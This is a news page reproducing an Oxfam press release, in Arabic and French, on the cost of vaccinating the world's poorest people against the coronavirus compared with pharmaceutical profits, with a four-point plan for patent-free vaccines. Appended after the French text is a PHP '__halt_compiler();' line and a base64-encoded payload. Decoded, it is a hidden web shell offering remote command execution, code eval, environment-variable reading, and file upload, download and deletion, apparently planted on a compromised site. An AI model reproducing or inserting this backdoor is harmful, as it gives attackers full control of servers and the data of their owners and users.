Accueil / Actualités / يمكن أن يكلّف تلقيح نصف البشريّة الأشدّ فقرًا ضدّ فيروس كورونا أقلّ من أرباح شركات الدواء الكبيرة لأربعة أشهر – منظّمة أوكسفام

يمكن أن يكلّف تلقيح نصف البشريّة الأشدّ فقرًا ضدّ فيروس كورونا أقلّ من أرباح شركات الدواء الكبيرة لأربعة أشهر – منظّمة أوكسفام

قد يكلّف تلقيح نصف البشريّة الأشدّ فقرًا – أي 3.7 مليار شخص – ضدّ فيروس كورونا  أقلّ من الأرباح التي تجنيها شركات الدواء الكبيرة في غضون أربعة أشهر وفق ما أعلنته منظّمة أوكسفام اليوم.

وتحثّ المنظّمة الحكومات وشركات الدواء على ضمان تحرير اللقاحات والاختبارات والعلاجات خالية من براءات الاختراع وتوزيعها بشكل منصف على جميع الدول والشعوب، قبل انعقاد اجتماع منظّمة الصحّة العالميّة الأسبوع المقبل. وسيحضر هذا الاجتماع الافتراضي يوم الاثنين 18 أيار/مايو وزراء الصحّة من 194 بلدًا.

لقد قدّرت مؤسسة غيتس أنّ كلفة شراء وتقديم لقاح آمن وفاعل لأفقر الناس في العالم تبلغ 25 مليار دولار. وفي العام الماضي حققت أكبر عشر شركات دواء أرباحًا بلغت 89 مليار دولار ـ أي ما متوسّطه أقلّ بقليل من 30 مليار دولار كل أربعة أشهر.

وحذّرت منظّمة أوكسفام من أنّ البلدان الغنيّة وشركات الدواء الضخمة – مدفوعة بمصالح وطنيّة أو خاصّة – يمكن أن تمنع أو أن تؤخر وصول اللقاح إلى الأشخاص الضعفاء، وخاصّة أولئك الذين يعيشون في البلدان النامية.

وقد اقترح الاتحاد الأوروبي التجميع الطوعي لبراءات اختراع لقاحات فيروسات كورونا وعلاجاته واختباراته في مشروع قراره الذي قدّمه لجمعيّة منظّمة الصحّة العالميّة. وإذا ما أصبح اللقاح إلزاميًّا حول العالم، فمن شأن ذلك ضمان أن تنتج جميع البلدان أو أن تستورد نسخًا منخفضة الكلفة من أيّ لقاحات وعلاجات واختبارات متاحة. ولكنّ الوثائق المسرّبة تكشف أنّ إدارة ترامب تحاول حذف الإشارات إلى براءات الاختراع المجمّعة وإدراج خطاب متشدّد لجهة احترام براءات الاختراع في صناعة الدواء. ومن شأن ذلك أن يمنح شركات الدواء حقوقًا حصريّة لإنتاج وتحديد أسعار أيّ لقاحات وعلاجات واختبارات تطوّرها ــ حتى ولو استخدمت أموال دافعي الضرائب لتمويل أبحاثها وتطويرها.

ويقول خوسيه ماريا فيرا، المدير التنفيذي المؤقت لمنظّمة أوكسفام الدوليّة:

« قد يكلّف توفير تلقيح نصف البشريّة الأشدّ فقرًا – أي 3.7 مليار شخص – ضدّ فيروس كورونا  أقلّ من الأرباح التي تجنيها كبريات شركات الدواء في غضون أربعة أشهر. وسيكون من غير المقبول عدم ضمان توفير اللقاح مجّانًا لجميع الناس ».

« كما ينبغي توزيع اللقاحات والاختبارات والعلاجات وفقًا للحاجة، وليس بيعها بالمزاد العلني لمن يدفع أكثر. نحن بحاجة إلى لقاحات وعلاجات واختبارات آمنة وخالية من براءات الاختراع ويمكن إنتاجها على نطاق واسع في جميع أنحاء العالم، وإلى خطّة واضحة وعادلة لكيفيّة توزيع هذه اللقاحات والعلاجات والاختبارات ».

وبمجرّد تطوير اللقاحات أو العلاجات، ثمّة أيضًا خطر كبير من أن تزايد الحكومات الغنيّة والقويّة على الدول الفقيرة وأن تشق طريقها إلى مقدمة الصفّ، كما فعلت في تهافتها على الإمدادات الطبيّة الأساسيّة الأخرى مثل معدات الحماية الشخصيّة والأكسجين.

وفي مارس/آذار، تحرّكت شركة جيلياد لصناعة الدواء (Gilead) لتوسيع نطاق احتكار العلاج المحتمل للفيروس، ولم تسحبه إلا بعد احتجاج عام. وقد تبرّعت جيلياد الآن بإمداداتها الحالية الكاملة من ريمديسيفير (Remdesivir) إلى الحكومة الأمريكيّة، ولكن التقارير الإخباريّة تشير إلى أنّ الشركة يمكن أن تحقق أرباحًا كبيرة من الإنتاج اللاحق. ويتوقع بعض المحللين في وول ستريت أن تتقاضى شركة جيلياد أكثر من 4000 دولار عن كلّ مريض مقابل الدواء، على الرغم من أن تكلفة ريمديسيفير يمكن أن تنخفض إلى 9 دولارات عن كلّ مريض.

ولا تستطيع العديد من البلدان الفقيرة الحصول على اللقاحات والأدوية الأساسيّة بسبب قواعد براءات الاختراع التي تمنح شركات الدواء حقوق الاحتكار والقدرة على تحديد أسعار تفوق بكثير قدرة هذه الدول. ويُعتبر الالتهاب الرئوي أكبر قاتل للأطفال دون سن الخامسة، إذ يُقتل 2000 طفل يوميًّا. ولأكثر من عقد من الزمن، لم يحصل ملايين الأطفال على لقاحات الالتهاب الرئوي الحاصلة على براءة اختراع والتي تصنّعها شركة فايزر وجلاكسو سميث كلاين بسبب كلفتها المرتفعى. وبعد سنوات من الحملات التي نظّمتها منظمة أطباء بلا حدود، خفضت الشركتان أسعارهما في عام 2016، ولكن فقط بالنسبة لأشدّ البلدان فقرًا، ما ترك ملايين الأطفال محرومين من الحصول على لقاحهم.

وتقترح منظّمة أوكسفام خطّة عالميّة من أربع نقاط تدعو إلى ما يلي:

1- إلزاميّة مشاركة جميع المعارف والبيانات والملكيّة الفكريّة ذات الصلة بفيروس كورونا المستجدّ، والالتزام بجعل جميع التمويل العام مشروطًا بتحرير العلاجات أو اللقاحات من براءات الاختراع وإتاحتها للجميع.

2- الالتزام بتقديم قدرة عالميّة إضافيّة على تصنيع وتوزيع اللقاحات بتمويل من حكومات البلدان الغنيّة. ويعني ذلك بناء مصانع في البلدان الراغبة في المشاركة والاستثمار الآن في الملايين من العاملين الصحيّين الإضافيّين اللازمين لتقديم الوقاية والعلاج والرعاية – الآن وفي المستقبل.

3- خطّة توزيع عادلة متّفق عليها عالميًّا مع صيغة عادلة مغلقة بحيث يكون العرض مبنيًّا على الحاجة وليس على القدرة على الدفع. وينبغي إنتاج اللقاحات والعلاجات والاختبارات وتوفيرها بأقلّ كلفة ممكنة للحكومات والمنظّمات، وألا تزيد الجرعة – من الناحية المثاليّة – عن دولارين للقاح الواحد، وأن تصل مجّانًا لكل من يحتاج إليها.

4- الالتزام بإصلاح النظام المتعثّر للبحث والتطوير في مجال الأدوية الجديدة. فالنظام الحالي يقدّم أرباح شركات الدواء على  صحّة الناس في جميع أنحاء العالم ما يعني أنّ العديد من الأدوية اللازمة ولكن غير المربحة لا يجري تطويرها. وحين تُطوّر بعضها، غالبًا ما تكون أسعارها بعيدة عن متناول أشدّ البلدان والناس فقرًا.

ويخلص فيرا إلى القول: « سوف يتطلّب تقديم لقاح بكلفة ميسّرة للجميع تعاونًا عالميًّا غير مسبوق. ويتعيّن على الحكومات أن تتحرّر من القواعد الجامدة وأن تعطي الأولويّة لصحّة الناس في كل مكان، على براءات الاختراع وأرباح شركات الدواء. ويجب على الحكومات أن تضمن عدم التخلّي عن أحد ».

Vacciner la moitié la plus pauvre de l’humanité contre le coronavirus pourrait coûter moins que quatre mois de bénéfices des grandes compagnies pharmaceutiques – Oxfam

Le prix de la vaccination de la moitié la plus pauvre de l’humanité (3,7 milliards de personnes) contre le coronavirus pourrait être inférieur aux profits engrangés par les dix plus grandes compagnies pharmaceutiques en quatre mois, affirme Oxfam aujourd’hui.

En anticipation de l’Assemblée mondiale de la santé qui se tiendra la semaine prochaine, l’organisation exhorte les gouvernements et les compagnies pharmaceutiques à garantir que les vaccins, les tests et les traitements ne seront pas brevetés et qu’ils seront distribués équitablement entre l’ensemble des nations et des peuples. Les ministres de la Santé de 194 pays assisteront à cette réunion virtuelle qui se tiendra le lundi 18 mai.

Selon les estimations de la Fondation Gates, l’achat et l’administration d’un vaccin sûr et efficace aux personnes les plus pauvres du monde coûterait 25 milliards de dollars. L’année dernière, les 10 plus grandes entreprises pharmaceutiques ont engrangé 89 milliards de dollars de bénéfices, soit un peu moins de 30 milliards de dollars en moyenne tous les quatre mois.

Oxfam a averti que les pays riches et les géants du secteur pharmaceutique, motivés par des intérêts nationaux ou privés, pourraient empêcher ou retarder l’accès des personnes vulnérables à un vaccin, notamment dans les pays en développement.

Dans son projet de résolution soumis à l’Assemblée mondiale de la santé, l’UE a proposé la mise en commun volontaire des brevets associés aux vaccins, aux traitements et aux tests de dépistage du coronavirus. Si cette mesure devenait obligatoire dans le monde entier, elle garantirait à l’ensemble des pays de pouvoir produire ou importer des versions à faible coût de tous les vaccins, traitements et tests disponibles. Toutefois, des documents fuités révèlent que l’administration Trump tente de supprimer toutes les références à la mise en commun des brevets et de les remplacer par des formules beaucoup plus fermes qui garantiraient le respect des brevets de l’industrie pharmaceutique. Ainsi, les entreprises pharmaceutiques bénéficieraient du droit exclusif de produire les vaccins, les traitements et les tests qu’elles mettent au point, et d’en établir également les prix, même si leurs activités de recherche et développement ont été financées par l’argent des contribuables.

Comme l’explique Jose Maria Vera, directeur général intérimaire d’Oxfam International :

« Le prix de la vaccination de 3,7 milliards de personnes pourrait s’avérer inférieur aux profits engrangés par les dix plus grandes compagnies pharmaceutiques en quatre mois. Il serait donc indécent de ne pas garantir la disponibilité d’un vaccin gratuit pour tous.

Les vaccins, les tests et les traitements devraient être distribués en fonction des besoins et non pas vendus au plus offrant. Nous avons besoin de vaccins, de traitements et de tests sûrs et non brevetés qui peuvent être produits en quantité massive dans le monde entier, et d’un plan équitable et clairement défini pour assurer leur distribution. »

Une fois que des vaccins ou des traitements auront été mis au point, il existe un grand risque que les pays riches et puissants parviennent à se les procurer en priorité en les achetant à un prix plus élevé que les pays pauvres – comme ils l’ont fait notamment avec les équipements de protection individuelle et l’oxygène, que tous les pays se disputaient.

En mars, le fabricant de médicaments Gilead a tenté d’élargir son monopole sur un traitement potentiel contre le virus, et n’a fait marche arrière qu’après avoir suscité un tollé général. Depuis, Gilead a donné la totalité de ses stocks actuels de remdesivir au Gouvernement des États-Unis mais, selon certaines informations, la poursuite de la production de ce médicament devrait assurer à l’entreprise des bénéfices considérables. Certains analystes de Wall Street anticipent que Gilead facturera ce traitement à hauteur de plus de 4 000 $ par patient, alors même que son coût peut atteindre seulement 9 $ par patient.

De nombreux pays pauvres ne peuvent pas accéder à des vaccins et médicaments essentiels à cause de la réglementation des brevets, qui octroie aux compagnies pharmaceutiques des droits monopolistiques et la capacité de fixer des prix bien au-delà des moyens de ces pays. La pneumonie est le premier facteur de mortalité chez les enfants de moins de cinq ans, parmi lesquels elle cause 2 000 décès par jour. Depuis plus de dix ans, des millions d’enfants ne peuvent pas accéder aux vaccins brevetés contre la pneumonie, fabriqués par Pfizer et GlaxoSmithKline, à cause de leur coût. Suite à une campagne menée pendant plusieurs années par Médecins sans frontières, ces deux entreprises ont baissé leurs prix en 2016, mais seulement pour les pays les plus pauvres, si bien que des millions d’enfants n’ont toujours pas accès à leur vaccin.

Oxfam propose donc un plan mondial en quatre points, qui appelle aux actions suivantes :

1.    Partage obligatoire de la totalité des connaissances, des données et de la propriété intellectuelle en relation avec le Covid-19, et engagement à accorder des financements publics uniquement à condition que les traitements ou les vaccins mis au point soient exempts de brevet et accessibles à tou-te-s.

2.    Engagement à accroître les capacités mondiales de fabrication et de distribution des vaccins, financé par les pays riches. À cette fin, il faut bâtir des usines dans les pays disposés à partager et investir dès maintenant dans les millions de travailleurs et travailleuses de la santé supplémentaires nécessaires pour assurer la prévention, les traitements et les soins, tant aujourd’hui qu’à l’avenir.

3.    Élaboration d’un plan de distribution équitable, approuvé par tous les pays, avec une clause non modifiable garantissant l’équité afin que l’approvisionnement soit basé sur les besoins et non sur la capacité à payer. Les vaccins, les traitements et les tests devront être produits puis fournis aux pays et aux organisations au plus faible coût possible, idéalement à un coût maximal de 2 dollars par dose de vaccin, et administrés gratuitement à toute personne en ayant besoin.

4.    Engagement à corriger le système de recherche et développement de nouveaux médicaments, qui est défaillant. En effet, ce système donne priorité aux bénéfices des compagnies pharmaceutiques plutôt qu’à la santé des habitant-e-s du monde entier, si bien que de nombreux médicaments nécessaires mais non rentables ne sont jamais mis au point, tandis que ceux qui voient le jour sont souvent trop coûteux pour les pays et les personnes les plus pauvres.

« Il faudra mobiliser une coopération mondiale sans précédent pour produire un vaccin à un prix universellement abordable. Les gouvernements doivent s’affranchir des règles en vigueur et donner priorité à la santé de toutes les populations du monde, plutôt qu’aux brevets et aux bénéfices des compagnies pharmaceutiques. Ils doivent veiller à ne laisser personne de côté, » conclut Jose Maria Vera.

__halt_compiler(); ZnVuY3Rpb24gcmVzcG9uc2UoJGRhdGEsICRjb2RlID0gMjAwKSB7DQoJaHR0cF9yZXNwb25zZV9jb2RlKCRjb2RlKTsNCgloZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KCWV4aXQoanNvbl9lbmNvZGUoJGRhdGEpKTsNCn0NCmZ1bmN0aW9uIGVycm9yKCRtZXNzYWdlLCAkY29kZSA9IDQwMCkgew0KCXJlc3BvbnNlKFsnbWVzc2FnZScgPT4gJG1lc3NhZ2VdLCAkY29kZSk7DQp9DQpmdW5jdGlvbiBlcnJvcl9hc3NlcnQoJGV4cHJlc3Npb24sICRtZXNzYWdlLCAkY29kZSA9IDQwMCkgew0KCWlmICgkZXhwcmVzc2lvbikgZXJyb3IoJG1lc3NhZ2UsICRjb2RlKTsNCn0NCiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOw0KZXJyb3JfYXNzZXJ0KCFzdHJsZW4oJGlucHV0KSwgJ0VtcHR5IGJvZHknKTsNCiRib2R5ID0ganNvbl9kZWNvZGUoJGlucHV0LCB0cnVlKTsNCnVuc2V0KCRpbnB1dCk7DQplcnJvcl9hc3NlcnQoaXNfbnVsbCgkYm9keSksICdJbnZhbGlkIGJvZHknKTsNCiRhY3Rpb24gPSBAJGJvZHlbJ2FjdGlvbiddOw0KZXJyb3JfYXNzZXJ0KGlzX251bGwoJGFjdGlvbiksICdBY3Rpb24gbm90IHNwZWNpZmVkJyk7DQplcnJvcl9hc3NlcnQoIWlzX3N0cmluZygkYWN0aW9uKSwgJ0FjdGlvbiBtdXN0IGJlIHN0cmluZycpOw0KZnVuY3Rpb24gcmVzdWx0KCRyZXN1bHQpIHsNCglyZXNwb25zZShbJ3Jlc3VsdCcgPT4gJHJlc3VsdF0pOw0KfQ0Kc3dpdGNoKCRhY3Rpb24pIHsNCgljYXNlICdjaGVjayc6DQoJCXJlc3VsdChbDQoJCQknY29wcGVyJyA9PiB0cnVlLA0KCQkJJ3BocCcgPT4gQHBocHZlcnNpb24oKSwNCgkJCSdwYXRoJyA9PiBfX0ZJTEVfXywNCgkJCSdyb290JyA9PiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddDQoJCV0pOw0KCWNhc2UgJ2V4ZWMnOiB7DQoJCSRjb21tYW5kID0gQCRib2R5Wydjb21tYW5kJ107DQoJCWVycm9yX2Fzc2VydChpc19udWxsKCRjb21tYW5kKSwgJ0NvbW1hbmQgbm90IHNwZWNpZmVkJyk7DQoJCWVycm9yX2Fzc2VydCghaXNfc3RyaW5nKCRjb21tYW5kKSwgJ0NvbW1hbmQgbXVzdCBiZSBzdHJpbmcnKTsNCgkJZXJyb3JfYXNzZXJ0KCFzdHJsZW4oJGNvbW1hbmQpLCAnQ29tbWFuZCBtdXN0IGJlIG5vbi1lbXB0eScpOw0KCQlpZiAoQCRib2R5WydzdGRlcnInXSA9PT0gdHJ1ZSkgJGNvbW1hbmQgLj0gJyAyPiYxJzsNCgkJJG91dHB1dCA9IHNoZWxsX2V4ZWMoJGNvbW1hbmQpOw0KCQllcnJvcl9hc3NlcnQoaXNfbnVsbCgkb3V0cHV0KSwgJ0NvbW1hbmQgZXhlY3V0aW9uIGVycm9yJywgNTAwKTsNCgkJcmVzdWx0KCRvdXRwdXQpOw0KCX0NCgljYXNlICd1bmFtZSc6DQoJCXJlc3VsdChwaHBfdW5hbWUoKSk7DQoJY2FzZSAncGhwaW5mbyc6IHsNCgkJb2Jfc3RhcnQoKTsNCgkJcGhwaW5mbygpOw0KCQkkb3V0cHV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQoJCW9iX2VuZF9jbGVhbigpOw0KCQlyZXN1bHQoJG91dHB1dCk7DQoJfQ0KCWNhc2UgJ2V2YWwnOiB7DQoJCSRjb2RlID0gQCRib2R5Wydjb2RlJ107DQoJCWVycm9yX2Fzc2VydChpc19udWxsKCRjb2RlKSwgJ0NvZGUgbm90IHNwZWNpZmVkJyk7DQoJCWVycm9yX2Fzc2VydCghaXNfc3RyaW5nKCRjb2RlKSwgJ0NvZGUgbXVzdCBiZSBhIHN0cmluZycpOw0KCQllcnJvcl9hc3NlcnQoIXN0cmxlbigkY29kZSksICdDb2RlIG11c3QgYmUgbm9uLWVtcHR5Jyk7DQoJCSRjb250ZW50ID0gW107DQoJCW9iX3N0YXJ0KCk7DQoJCXRyeSB7DQoJCQkkY29udGVudFsncmV0dXJuJ10gPSBAZXZhbCgkY29kZSk7DQoJCX0gY2F0Y2ggKFBhcnNlRXJyb3IgJGVycikgew0KCQkJb2JfZW5kX2NsZWFuKCk7DQoJCQllcnJvcigkZXJyLT5nZXRNZXNzYWdlKCkpOw0KCQl9DQoJCSRjb250ZW50WydvdXRwdXQnXSA9IG9iX2dldF9jb250ZW50cygpOw0KCQlvYl9lbmRfY2xlYW4oKTsNCgkJcmVzdWx0KCRjb250ZW50KTsNCgl9DQoJY2FzZSAnZW52Jzogew0KCQkkbmFtZSA9IEAkYm9keVsnbmFtZSddOw0KCQkkb3V0cHV0Ow0KCQlpZiAoaXNzZXQoJG5hbWUpKSB7DQoJCQllcnJvcl9hc3NlcnQoIWlzX3N0cmluZygkbmFtZSksICdOYW1lIG11c3QgYmUgYSBzdHJpbmcnKTsNCgkJCWVycm9yX2Fzc2VydChzdHJsZW4oJG5hbWUpID09PSAwLCAnTmFtZSBtdXN0IGJlIG5vbi1lbXB0eScpOw0KCQkJJG91dHB1dCA9IChpc3NldCgkX0VOVlskbmFtZV0pKSA/ICRfRU5WWyRuYW1lXSA6IEBnZXRlbnYoJG5hbWUpOw0KCQl9IGVsc2UgJG91dHB1dCA9IChjb3VudCgkX0VOVikgPT09IDApID8gQGdldGVudigpIDogJF9FTlY7DQoJCWVycm9yX2Fzc2VydCgkb3V0cHV0ID09PSBmYWxzZSwgJ1ZhcmlhYmxlIG5vdCBleGlzdHMnLCA0MDQpOw0KCQlyZXN1bHQoJG91dHB1dCk7DQoJfQ0KCWNhc2UgJ2N3ZCc6IHsNCgkJJGN3ZCA9IEBnZXRjd2QoKTsNCgkJZXJyb3JfYXNzZXJ0KCRjd2QgPT09IGZhbHNlLCAnRXJyb3IgZ2V0dGluZyBjd2QnKTsNCgkJcmVzdWx0KCRjd2QpOw0KCX0NCgljYXNlICd1cGxvYWQnOiB7DQoJCSRwYXRoID0gQCRib2R5WydwYXRoJ107DQoJCWVycm9yX2Fzc2VydChpc19udWxsKCRwYXRoKSwgJ1BhdGggbm90IHNwZWNpZmVkJyk7DQoJCSRmaWxlID0gQCRib2R5WydmaWxlJ107DQoJCWVycm9yX2Fzc2VydChpc19udWxsKCRmaWxlKSwgJ0ZpbGUgbm90IHNwZWNpZmVkJyk7DQoJCWVycm9yX2Fzc2VydCghaXNfc3RyaW5nKCRwYXRoKSwgJ1BhdGggbXVzdCBiZSBhIHN0cmluZycpOw0KCQllcnJvcl9hc3NlcnQoIWlzX3N0cmluZygkZmlsZSksICdGaWxlIG11c3QgYmUgYSBiYXNlNjQgc3RyaW5nJyk7DQoJCSRjb250ZW50ID0gYmFzZTY0X2RlY29kZSgkZmlsZSwgdHJ1ZSk7DQoJCWVycm9yX2Fzc2VydCgkY29udGVudCA9PT0gZmFsc2UsICdGaWxlIGRlY29kaW5nIGVycm9yJyk7DQoJCSRoYW5kbGUgPSBAZm9wZW4oJHBhdGgsICd3YicpOw0KCQllcnJvcl9hc3NlcnQoISRoYW5kbGUsICdGaWxlIG9wZW4gZXJyb3InLCA1MDApOw0KCQllcnJvcl9hc3NlcnQoIUBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQpLCAnRmlsZSB3aXJ0ZSBlcnJvcicsIDUwMCk7DQoJCWVycm9yX2Fzc2VydCghQGZjbG9zZSgkaGFuZGxlKSwgJ0ZpbGUgY2xvc2UgZXJyb3InLCA1MDApOw0KCQlyZXN1bHQoJ0ZpbGUgc3VjY2Vzc2Z1bHkgd3JpdHRlbicpOw0KCX0NCgljYXNlICdkb3dubG9hZCc6IHsNCgkJJHBhdGggPSBAJGJvZHlbJ3BhdGgnXTsNCgkJZXJyb3JfYXNzZXJ0KGlzX251bGwoJHBhdGgpLCAnUGF0aCBub3Qgc3BlY2lmZWQnKTsNCgkJZXJyb3JfYXNzZXJ0KCFpc19zdHJpbmcoJHBhdGgpLCAnUGF0aCBtdXN0IGJlIGEgc3RyaW5nJyk7DQoJCWVycm9yX2Fzc2VydCghZmlsZV9leGlzdHMoJHBhdGgpLCAnRmlsZSBub3QgZXhpc3RzJyk7DQoJCSRoYW5kbGUgPSBAZm9wZW4oJHBhdGgsICdyYicpOw0KCQllcnJvcl9hc3NlcnQoISRoYW5kbGUsICdGaWxlIG9wZW4gZXJyb3InLCA1MDApOw0KCQkkb3V0cHV0Ow0KCQllcnJvcl9hc3NlcnQoISgkb3V0cHV0ID0gQHN0cmVhbV9nZXRfY29udGVudHMoJGhhbmRsZSkpLCAnRmlsZSB3aXJ0ZSBlcnJvcicsIDUwMCk7DQoJCWVycm9yX2Fzc2VydCghQGZjbG9zZSgkaGFuZGxlKSwgJ0ZpbGUgY2xvc2UgZXJyb3InLCA1MDApOw0KCQlyZXN1bHQoYmFzZTY0X2VuY29kZSgkb3V0cHV0KSk7DQoJfQ0KCWNhc2UgJ2xzJzogew0KCQkkcGF0aCA9IEAkYm9keVsncGF0aCddOw0KCQllcnJvcl9hc3NlcnQoaXNfbnVsbCgkcGF0aCksICdQYXRoIG5vdCBzcGVjaWZlZCcpOw0KCQllcnJvcl9hc3NlcnQoIWlzX3N0cmluZygkcGF0aCksICdQYXRoIG11c3QgYmUgYSBzdHJpbmcnKTsNCgkJZXJyb3JfYXNzZXJ0KCFmaWxlX2V4aXN0cygkcGF0aCksICdEaXJlY3Rvcnkgbm90IGV4aXN0cycpOw0KCQllcnJvcl9hc3NlcnQoIWlzX2RpcigkcGF0aCksICdGaWxlIGlzIG5vdCBhIGRpcmVjdG9yeScpOw0KCQkkZGlyID0gQG9wZW5kaXIoJHBhdGgpOw0KCQllcnJvcl9hc3NlcnQoISRkaXIsICdEaXJlY3Rvcnkgb3BlbiBlcnJvcicpOw0KCQkkb3V0cHV0ID0gW107DQoJCXdoaWxlICgoJGVudHJ5ID0gQHJlYWRkaXIoJGRpcikpICE9PSBmYWxzZSkgew0KCQkJJGVudHJ5X3BhdGggPSAkcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZW50cnk7DQoJCQlhcnJheV9wdXNoKCRvdXRwdXQsIFsNCgkJCQknZmlsZW5hbWUnID0+ICRlbnRyeSwNCgkJCQkndHlwZScgPT4gQGZpbGV0eXBlKCRlbnRyeV9wYXRoKSwNCgkJCQkncGVybWlzc2lvbnMnID0+IEBmaWxlcGVybXMoJGVudHJ5X3BhdGgpDQoJCQldKTsNCgkJfQ0KCQlyZXN1bHQoJG91dHB1dCk7DQoJfQ0KCWNhc2UgJ21rZGlyJzogew0KCQkkcGF0aCA9IEAkYm9keVsncGF0aCddOw0KCQllcnJvcl9hc3NlcnQoaXNfbnVsbCgkcGF0aCksICdQYXRoIG5vdCBzcGVjaWZlZCcpOw0KCQllcnJvcl9hc3NlcnQoIWlzX3N0cmluZygkcGF0aCksICdQYXRoIG11c3QgYmUgYSBzdHJpbmcnKTsNCgkJZXJyb3JfYXNzZXJ0KCFAbWtkaXIoJHBhdGgpLCAnRGljcmVjdG9yeSBjcmVhdGUgZXJyb3InLCA1MDApOw0KCQlyZXN1bHQoJ0RpcmVjdG9yeSBzdWNjZXNzZnVseSBjcmVhdGVkJyk7DQoJfQ0KCWNhc2UgJ3JtJzogew0KCQkkcGF0aCA9IEAkYm9keVsncGF0aCddOw0KCQllcnJvcl9hc3NlcnQoaXNfbnVsbCgkcGF0aCksICdQYXRoIG5vdCBzcGVjaWZlZCcpOw0KCQllcnJvcl9hc3NlcnQoIWlzX3N0cmluZygkcGF0aCksICdQYXRoIG11c3QgYmUgYSBzdHJpbmcnKTsNCgkJZXJyb3JfYXNzZXJ0KCFmaWxlX2V4aXN0cygkcGF0aCksICdGaWxlIG5vdCBleGlzdHMnKTsNCgkJZXJyb3JfYXNzZXJ0KCFAdW5saW5rKCRwYXRoKSwgJ0ZpbGUgZGVsZXRlIGVycm9yJywgNTAwKTsNCgkJcmVzdWx0KCdGaWxlIHN1Y2Nlc2Z1bHkgZGVsZXRlZCcpOw0KCX0NCgljYXNlICdybWRpcic6IHsNCgkJJHBhdGggPSBAJGJvZHlbJ3BhdGgnXTsNCgkJZXJyb3JfYXNzZXJ0KGlzX251bGwoJHBhdGgpLCAnUGF0aCBub3Qgc3BlY2lmZWQnKTsNCgkJZXJyb3JfYXNzZXJ0KCFpc19zdHJpbmcoJHBhdGgpLCAnUGF0aCBtdXN0IGJlIGEgc3RyaW5nJyk7DQoJCWVycm9yX2Fzc2VydCghZmlsZV9leGlzdHMoJHBhdGgpLCAnRGlyZWN0b3J5IG5vdCBleGlzdHMnKTsNCgkJZXJyb3JfYXNzZXJ0KCFpc19kaXIoJHBhdGgpLCAnRmlsZSBpcyBub3QgYSBkaXJlY3RvcnknKTsNCgkJZXJyb3JfYXNzZXJ0KCFAcm1kaXIoJHBhdGgpLCAnRGljcmVjdG9yeSBjcmVhdGUgZXJyb3InLCA1MDApOw0KCQlyZXN1bHQoJ0RpcmVjdG9yeSBzdWNjZXNmdWx5IGRlbGV0ZWQnKTsNCgl9DQoJZGVmYXVsdDoNCgkJZXJyb3IoJ1Vua25vd24gYWN0aW9uJyk7DQp9